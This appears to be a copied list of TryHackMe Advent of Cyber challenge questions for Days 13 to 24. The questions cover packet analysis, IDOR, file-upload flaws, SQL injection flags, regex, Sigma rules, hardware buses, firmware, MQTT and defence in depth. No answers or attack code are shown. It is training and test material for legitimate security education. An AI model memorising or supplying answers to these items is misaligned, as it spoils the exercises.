      Task 18: [Day 13] Packet Analysis Simply having a wonderful pcap time

      Answer the questions below

      1. View the "Protocol Hierarchy" menu.

        What is the "Percent Packets" value of the "Hypertext Transfer Protocol"?

      2. View the "Conversations".
        Navigate to the TCP section.

        Which port number has received more than 1000 packets?

      3. What is the service name of the used protocol that received more than 1000 packets?

      4. Filter the DNS packets.

        What are the domain names?
        Enter the domains in alphabetical order and defanged format. (format: domain[.]zzz,domain[.]zzz)

      5. Filter the HTTP packets.

        What are the names of the requested files?
        Enter the names in alphabetical order and in defanged format. (format: file[.]xyz,file[.]xyz)

      6. Which IP address downloaded the executable file?
        Enter your answer in defanged format.

      7. Which domain address hosts the malicious file?
        Enter your answer in defanged format.

      8. What is the "user-agent" value used to download the non-executable file?

      9. Export objects from the PCAP file.
        Calculate the file hashes.

        What is the sha256 hash value of the executable file?

      10. Search the hash value of the executable file on VirusTotal.
        Navigate to the "Behaviour" section.
        There are multiple IP addresses associated with this file.

        We know IP addresses starting with 20[.], and 23[.] are associated with Bandit Yeti APT.
        What are the connected IP addresses in the mentioned pattern?
        Enter the IP addressed defanged and in numerical order. (format: IPADDR,IPADDR)


        Please note that the VT entry changed since the official walkthrough video was recorded - check the VT website to get all the IP addresses you need! 

      11. If you liked working with Wireshark, we have a comprehensive module on this helpful tool here. If you want to dive deeper, the Network Security and Traffic Analysis module is waiting for you! 

      Task 19: [Day 14] Web Applications I'm dreaming of secure web apps

      Answer the questions below

      1. What is the office number of Elf Pivot McRed?
      2. Not only profile pages but also stored images are vulnerable. Start with a URL of a valid profile image; what is the hidden flag?

      3. Do you like IDOR? It's an Advent of Cyber classic! If you want more, check out the dedicated room or the Corridor challenge. 

      Task 20: [Day 15] Secure Coding Santa is looking for a Sidekick

      Answer the questions below

      1. What is the name given to file uploads that allow threat actors to upload any files that they want?
      2. What is the title of the web application developed by Santa's freelancer?

      3. What is the value of the flag stored in the HR Elf's Documents directory?

      4. What defence technique can be implemented to ensure that specific file types can be uploaded?

      5. What defence technique can be used to make sure the threat actor cannot recover their file again by simply using the file name?

      6. What defence technique can be used to make sure malicious files that can hurt elves are not uploaded?

      7. If you want to learn more about vulnerabilities like this one, check out our Intro to Web Hacking module! 

      Task 21: [Day 16] Secure Coding SQLi’s the king, the carolers sing

      Answer the questions below

      1. What is the value of Flag1?
      2. What is the value of Flag2?

      3. What is the value of Flag3?

      4. What is the value of Flag4?

      5. If you'd like more SQLi in your life, check out this room! 

      Task 22: [Day 17] Secure Coding Filtering for Order Amidst Chaos

      Answer the questions below

      1. Filtering for Usernames: How many usernames fit the syntax above?
      2. Filtering for Usernames: One username consists of a readable word concatenated with a number. What is it?

      3. Filtering for Emails: How many emails fit the syntax above?

      4. Filtering for Emails: How many unique domains are there?

      5. Filtering for Emails: What is the domain of the email with the local-part "lewisham44"?

      6. Filtering for Emails: What is the domain of the email with the local-part "maxximax"?

      7. Filtering for Emails: What is the local-part of the email with the domain name "hotmail.com"?

      8. Filtering for URLs: How many URLs fit the syntax provided?

      9. Filtering for URLs: How many of these URLs start with "https"?

      10. If you feel like you could use more fundamental skills in your life, try the Linux Fundamentals module. All rooms are free in that one!  

      Task 23: [Day 18] Sigma Lumberjack Lenny Learns New Rules

      Answer the questions below

      1. What is the Challenge #1 flag?
      2. From the Challenge 1 log, what user account was created?

      3. What is the Challenge #2 flag?

      4. What was the User's path in the Challenge #2 log file?

      5. What is the Challenge #3 flag?

      6. What was the MD5 hash associated with Challenge #3 logs?

      7. If you want to learn more about Sigma, follow this task up with our Sigma room. If you liked the detection engineering aspect of it, you shoud ceck out the Yara room to learn more! 

      Task 24: [Day 19] Hardware Hacking Wiggles go brrr

      Answer the questions below

      1. What device can be used to probe the signals being sent on electrical wires between two devices?
      2. USART is faster than SPI for communication? (Yea,Nay)

      3. USART communication uses fewer wires than SPI? (Yea,Nay)

      4. USART is faster than I2C for communication? (Yea,Nay)

      5. I2C uses more wires than SPI for communication? (Yea,Nay)

      6. SPI is faster than I2C for communication? (Yea,Nay)

      7. What is the maximum number of devices that can be connected on a single pair of I2C lines?

      8. What is the new baud rate that is negotiated between the microprocessor and ESP32 chip?

      9. What is the flag that is transmitted once the new baud rate was accepted?

      10. Looking for a challenge? Try our Recent Threats module! 

      Task 25: [Day 20] Firmware Binwalkin’ around the Christmas tree

      Answer the questions below

      1. What is the flag value after reversing the file firmwarev2.2-encrypted.gpg?

        Note: The flag contains underscores - if you're seeing spaces, the underscores might not be rendering.

      2. What is the Paraphrase value for the binary firmwarev1.0_unsigned?

      3. After reversing the encrypted firmware, can you find the build number for rootfs?

      4. Did you know we have a wonderful community on Discord? If you join us there, you can count on nice conversation, cyber security tips & tricks, and room help from our mods and mentors. Our Discord admin has some rooms out, too - you can try an easy one or a hard one!

      Task 26: [Day 21] MQTT Have yourself a merry little webcam

      Answer the questions below

      1. What port is Mosquitto running on?
      2. Is the device/init topic enumerated by Nmap during a script scan of all ports? (y/n)
      3. What Mosquitto version is the device using?

      4. What flag is obtained from viewing the RTSP stream? 

      5. If you want to learn more check out the Command Injection room or the Vulnerability Research module! 

      Task 27: [Day 22] Attack Surface Reduction Threats are failing all around me

      Answer the questions below

      1. Follow the instructions in the attached static site to help McSkidy reduce her attack surface against attacks from the Yeti. Use the flag as an answer to complete the task.
      2. If you'd like to study cyber defence more, why not start with the Threat and Vulnerability Management module? 

      Task 28: [Day 23] Defence in Depth Mission ELFPossible: Abominable for a Day

      Answer the questions below

      1. Case 1: What is the password for Santa’s Vault?
      2. Case 1: What is the Flag?

      3. Case 2: What is Santa’s favourite thing?

      4. Case 2: What is the password for Santa’s Vault?

      5. Case 2: What is the Flag?

      6. Case 3: What is the Executive Assistant’s favourite thing?

      7. Case 3: What is Santa’s previous password?

      8. Case 3: What is Santa’s current password?

      9. Case 3: What is the 1st part of the vault’s password?

      10. Case 3: What is the 2nd part of the vault’s password?

      11. Case 3: What is the password for Santa’s Vault?

      12. Case 3: What is the Flag?

      13. What is Santa's Code?

      14. Mission ELFPossible: What is the Abominable for a Day Flag?

      15. If you'd like to learn more about mitigating and managing potential adversary actions, check out the Threat Intelligence module! 

      Task 29: [Day 24] Feedback Ho, ho, ho, the survey's short


      [Thank You]

      Thank you so much for participating in this year's Advent of Cyber event!

      Answer the questions below

      1. Please help us improve by answering this 5-minute survey. Make sure to grab the flag before you click "Submit"!
      2. Continue learning with the Pre Security, Jr Penetration Tester, or SOC Level 1 pathway!

      3. The prize winners will be announced on the 28th of December - you have until then to complete the tasks. Remember, the more questions you answer, the higher your chance of winning! 

        The daily prize winners for the last week of the event will be announced on Twitter on Wednesday, December 28th. 

      Task 30: [Day 24] The EndThe Year of the Bandit Yeti

      Answer the questions below

      1. Are you ready to continue your learning journey on TryHackMe? (Yea,Yea)